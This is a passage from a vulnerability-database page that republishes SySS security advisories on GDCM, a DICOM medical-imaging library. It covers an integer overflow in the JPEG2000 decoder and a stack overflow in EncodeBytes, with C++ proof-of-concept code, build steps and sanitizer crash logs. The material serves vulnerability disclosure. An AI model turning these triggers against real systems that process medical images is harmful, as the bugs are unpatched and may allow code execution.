[0x7e95d47f4800,0x7e95d48047fe) allocated by thread T0 here:\n #0 0x7f85d5f2d431 in operator new[](unsigned long)\n #1 0x56007861f46d in trigger_vuln\n pocs/poc13_vuln13_real.cpp:110\n SUMMARY: AddressSanitizer: heap-buffer-overflow\n pocs/poc13_vuln13_real.cpp:122 in trigger_vuln\n ==10171==ABORTING\n\nThe AddressSanitizer output confirms:\n - Buffer allocated: 65,534 bytes (as predicted by the overflow)\n - Write at offset 65,535 (1 byte past the buffer end)\n - Detected as heap-buffer-overflow at line 122 (the\n *data8 = (uint8_t)v; write)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-070\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/86"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/86"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0437",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86",
"automated": true,
"contentSha256": "c0cfaec47624d4609ac5f2a714ef00d094dd6cf07b8de2a6188d3df5a848189d",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/86",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:44Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0437"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0436
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-069]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)
Summary
Advisory ID: SYSS-2026-069
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Integer Overflow (CWE-190)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The JPEG2000 image codec in GDCM, used for decoding JPEG2000-compressed
DICOM pixel data, is vulnerable to an integer overflow that leads to a
heap buffer overflow. The buffer size for decoded pixel data is computed
using 32-bit unsigned integer arithmetic based on image dimensions
(rows * columns) from the DICOM header. When the product exceeds 2^32,
the result silently wraps around, causing an undersized buffer allocation.
The subsequent pixel data write loop then overflows the heap buffer.
A malicious DICOM file with crafted image dimensions can trigger this
vulnerability, potentially leading to remote code execution in the
context of the user processing the file.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The vulnerable code is in the JPEG2000Codec::DecodeCommon function at
Source/MediaStorageAndFileFormat/gdcmJPEG2000Codec.cxx:1037-1038:
unsigned long len = Dimensions[0]*Dimensions[1] *
(PF.GetBitsAllocated() / 8) * image->numcomps;
char *raw = new char[len];
The variables Dimensions[0] and Dimensions[1] are both 'unsigned int'
(32-bit) values inherited from the ImageCodec base class, populated from
the DICOM header's Rows and Columns elements (VR=US, maximum value
65535). The multiplication chain
Dimensions[0]*Dimensions[1]*(PF.GetBitsAllocated()/8)*image->numcomps
is executed entirely in 32-bit unsigned integer arithmetic, because all
operands are 32-bit types. The result is only widened to 'unsigned long'
on assignment to 'len', after the overflow has already occurred.
When the product exceeds 2^32, it wraps around modulo 2^32.
Following the allocation, the decoded pixel data is written to the 'raw'
buffer in a loop:
for (int i = 0; i < wr * hr; i++) {
int v = image->comps[compno].data[i / wr * w + i % wr];
*data8 = (uint8_t)v;
data8 += image->numcomps;
}
This loop writes wr*hr pixels, each advancing the pointer by numcomps,
to the 'raw' buffer. Since the buffer is far smaller than needed due to
the integer overflow, this write operation causes a heap buffer overflow.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that reproduces the vulnerable calculation and
buffer allocation pattern from gdcmJPEG2000Codec.cxx, simulating the
pixel data write loop that overflows the undersized buffer.
PoC source code:
#include <cstdint>
#include <cstdio>
#include <cstring>
typedef unsigned int uint32;
typedef unsigned long ulong;
static void vulnerable_jpeg2000_decode(uint32 dim_x, uint32 dim_y,
int bits_allocated, int numcomps)
{
// Vulnerable calculation (gdcmJPEG2000Codec.cxx:1037)
unsigned long len = dim_x * dim_y *
(bits_allocated / 8) * numcomps;
// Vulnerable allocation (gdcmJPEG2000Codec.cxx:1038)
char *raw = new char[len];
unsigned long actual_bytes = (unsigned long long)dim_x * dim_y *
(bits_allocated / 8) * numcomps;
// Vulnerable pixel write loop (gdcmJPEG2000Codec.cxx:1084-1092)
for (unsigned long i = 0; i < actual_bytes; i++) {
raw[i] = (char)(i & 0xFF);
}
delete[] raw;
}
int main()
{
// Test Case 1: 16-bit grayscale, 65536 x 65536
// Product overflows to 0, buffer allocated as 0 bytes
vulnerable_jpeg2000_decode(65536, 65536, 16, 1);
return 0;
}
To build and run the PoC:
g++ -fsanitize=address -fno-omit-frame-pointer -g \
pocs/poc_jpeg2000_integer_overflow.cpp -o poc
Running the PoC triggers the heap buffer overflow, detected by ASan:
$ ./poc
==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x7b2dac5e0010 at pc 0x557e499c4371 bp 0x7ffdf03c63a0 sp 0x7ffdf03c6390
WRITE of size 1 at 0x7b2dac5e0010 thread T0
#0 0x557e499c4370 in vulnerable_jpeg2000_decode
poc_jpeg2000_integer_overflow.cpp:106
#1 0x557e499c442d in main
poc_jpeg2000_integer_overflow.cpp:131
0x7b2dac5e0010 is located 0 bytes inside of 1-byte region
[0x7b2dac5e0010,0x7b2dac5e0011) allocated by thread T0 here:
#0 0x7f0dadd2d431 in operator new[](unsigned long)
#1 0x557e499c420e in vulnerable_jpeg2000_decode
poc_jpeg2000_integer_overflow.cpp:79
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-069
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-069\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Integer Overflow (CWE-190)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe JPEG2000 image codec in GDCM, used for decoding JPEG2000-compressed\nDICOM pixel data, is vulnerable to an integer overflow that leads to a\nheap buffer overflow. The buffer size for decoded pixel data is computed\nusing 32-bit unsigned integer arithmetic based on image dimensions\n(rows * columns) from the DICOM header. When the product exceeds 2^32,\nthe result silently wraps around, causing an undersized buffer allocation.\nThe subsequent pixel data write loop then overflows the heap buffer.\nA malicious DICOM file with crafted image dimensions can trigger this\nvulnerability, potentially leading to remote code execution in the\ncontext of the user processing the file.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the JPEG2000Codec::DecodeCommon function at\nSource/MediaStorageAndFileFormat/gdcmJPEG2000Codec.cxx:1037-1038:\n\n unsigned long len = Dimensions[0]*Dimensions[1] *\n (PF.GetBitsAllocated() / 8) * image-\u003enumcomps;\n char *raw = new char[len];\n\nThe variables Dimensions[0] and Dimensions[1] are both \u0027unsigned int\u0027\n(32-bit) values inherited from the ImageCodec base class, populated from\nthe DICOM header\u0027s Rows and Columns elements (VR=US, maximum value\n65535). The multiplication chain\nDimensions[0]*Dimensions[1]*(PF.GetBitsAllocated()/8)*image-\u003enumcomps\nis executed entirely in 32-bit unsigned integer arithmetic, because all\noperands are 32-bit types. The result is only widened to \u0027unsigned long\u0027\non assignment to \u0027len\u0027, after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32.\n\nFollowing the allocation, the decoded pixel data is written to the \u0027raw\u0027\nbuffer in a loop:\n\n for (int i = 0; i \u003c wr * hr; i++) {\n int v = image-\u003ecomps[compno].data[i / wr * w + i % wr];\n *data8 = (uint8_t)v;\n data8 += image-\u003enumcomps;\n }\n\nThis loop writes wr*hr pixels, each advancing the pointer by numcomps,\nto the \u0027raw\u0027 buffer. Since the buffer is far smaller than needed due to\nthe integer overflow, this write operation causes a heap buffer overflow.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that reproduces the vulnerable calculation and\nbuffer allocation pattern from gdcmJPEG2000Codec.cxx, simulating the\npixel data write loop that overflows the undersized buffer.\n\nPoC source code:\n\n#include \u003ccstdint\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\ntypedef unsigned int uint32;\ntypedef unsigned long ulong;\n\nstatic void vulnerable_jpeg2000_decode(uint32 dim_x, uint32 dim_y,\n int bits_allocated, int numcomps)\n{\n // Vulnerable calculation (gdcmJPEG2000Codec.cxx:1037)\n unsigned long len = dim_x * dim_y *\n (bits_allocated / 8) * numcomps;\n\n // Vulnerable allocation (gdcmJPEG2000Codec.cxx:1038)\n char *raw = new char[len];\n\n unsigned long actual_bytes = (unsigned long long)dim_x * dim_y *\n (bits_allocated / 8) * numcomps;\n\n // Vulnerable pixel write loop (gdcmJPEG2000Codec.cxx:1084-1092)\n for (unsigned long i = 0; i \u003c actual_bytes; i++) {\n raw[i] = (char)(i \u0026 0xFF);\n }\n\n delete[] raw;\n}\n\nint main()\n{\n // Test Case 1: 16-bit grayscale, 65536 x 65536\n // Product overflows to 0, buffer allocated as 0 bytes\n vulnerable_jpeg2000_decode(65536, 65536, 16, 1);\n return 0;\n}\n\nTo build and run the PoC:\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n pocs/poc_jpeg2000_integer_overflow.cpp -o poc\n\nRunning the PoC triggers the heap buffer overflow, detected by ASan:\n\n $ ./poc\n ==ERROR: AddressSanitizer: heap-buffer-overflow on address\n 0x7b2dac5e0010 at pc 0x557e499c4371 bp 0x7ffdf03c63a0 sp 0x7ffdf03c6390\n WRITE of size 1 at 0x7b2dac5e0010 thread T0\n #0 0x557e499c4370 in vulnerable_jpeg2000_decode\n poc_jpeg2000_integer_overflow.cpp:106\n #1 0x557e499c442d in main\n poc_jpeg2000_integer_overflow.cpp:131\n 0x7b2dac5e0010 is located 0 bytes inside of 1-byte region\n [0x7b2dac5e0010,0x7b2dac5e0011) allocated by thread T0 here:\n #0 0x7f0dadd2d431 in operator new[](unsigned long)\n #1 0x557e499c420e in vulnerable_jpeg2000_decode\n poc_jpeg2000_integer_overflow.cpp:79\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-069\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/85"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/85"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-069]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0436",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85",
"automated": true,
"contentSha256": "baf48fec3d1cbb79cfc98a855bc463d14707520aab4f578cab6023a5ce49d434",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/85",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:39Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0436"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0435
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)
Summary
Advisory ID: SYSS-2026-068
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
The library function gdcm::System::EncodeBytes, defined in
Source/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer
overflow. The function uses a fixed-size 32-byte stack buffer and copies
caller-provided data into it via memcpy() without checking the size
parameter against the buffer capacity. If a caller invokes EncodeBytes
with a size value greater than 32, a stack buffer overflow occurs,
potentially leading to a process crash or arbitrary code execution in
the context of the user running the application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The EncodeBytes function is a public static method of the
gdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose
is to convert a byte array (e.g. a UUID) into its decimal string
representation. The vulnerable code at Source/Common/gdcmSystem.cxx:620
is the following:
{
bool zero = false;
std::string sres;
unsigned char buffer[32]; // 32-byte stack buffer
unsigned char *addr = buffer;
memcpy(addr, data, size); // BUG: no bounds check on 'size'
while(!zero)
{
int res = getlastdigit(addr, size);
const char v = (char)('0' + res);
sres.insert(sres.begin(), v);
zero = true;
for(int i = 0; i < size; ++i)
{
zero = zero && (addr[i] == 0);
}
}
//return sres;
strcpy(out, sres.c_str()); //, sres.size() );
return sres.size();
}
The 'size' parameter is passed directly to memcpy() without validation
against the 32-byte buffer capacity. Additionally, the subsequent
getlastdigit() call and the loop iterating 'size' elements
all operate without bounds checks.
Since EncodeBytes is a public API, any downstream application that links
against GDCM and calls System::EncodeBytes with size > 32 is vulnerable.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A PoC was developed that calls the actual gdcm::System::EncodeBytes
function from a C++ program linked against the GDCM library, passing
a size value of 48 to overflow the 32-byte stack buffer.
PoC source code:
#include <gdcmSystem.h>
#include <cstdio>
#include <cstring>
int main()
{
const int overflow_size = 48; // Exceeds the 32-byte buffer by 16
unsigned char data[overflow_size];
memset(data, 0x41, overflow_size); // 'A' pattern
char outbuf[256];
size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);
printf("EncodeBytes returned length: %zu\n", len);
return 0;
}
To build and run the PoC, first compile GDCM with AddressSanitizer
(ASan) and then compile the PoC linking against the library:
mkdir -p /tmp/gdcmbin
cmake -S . -B /tmp/gdcmbin \
-DGDCM_BUILD_SHARED_LIBS=OFF \
-DGDCM_BUILD_APPLICATIONS=OFF \
-DGDCM_BUILD_TESTING=OFF \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
make -C /tmp/gdcmbin -j$(nproc) gdcmCommon
g++ -fsanitize=address -fno-omit-frame-pointer -g \
-ISource/Common \
pocs/poc1_encodebytes_stack_overflow.cpp \
/tmp/gdcmbin/bin/libgdcmCommon.a -o poc1
Running the PoC triggers the stack buffer overflow, detected by ASan:
$ ./poc1
==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8
WRITE of size 48 at 0x7bb2b18f00c0 thread T0
#0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)
Source/Common/gdcmSystem.cxx:626
[160, 192) 'buffer' (line 624) <== Memory access at offset 192
overflows this variable
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-068
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-068\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe library function gdcm::System::EncodeBytes, defined in\nSource/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer\noverflow. The function uses a fixed-size 32-byte stack buffer and copies\ncaller-provided data into it via memcpy() without checking the size\nparameter against the buffer capacity. If a caller invokes EncodeBytes\nwith a size value greater than 32, a stack buffer overflow occurs,\npotentially leading to a process crash or arbitrary code execution in\nthe context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe EncodeBytes function is a public static method of the\ngdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose\nis to convert a byte array (e.g. a UUID) into its decimal string\nrepresentation. The vulnerable code at Source/Common/gdcmSystem.cxx:620\nis the following:\n\n\n {\n bool zero = false;\n std::string sres;\n unsigned char buffer[32]; // 32-byte stack buffer\n unsigned char *addr = buffer;\n memcpy(addr, data, size); // BUG: no bounds check on \u0027size\u0027\n while(!zero)\n {\n int res = getlastdigit(addr, size);\n const char v = 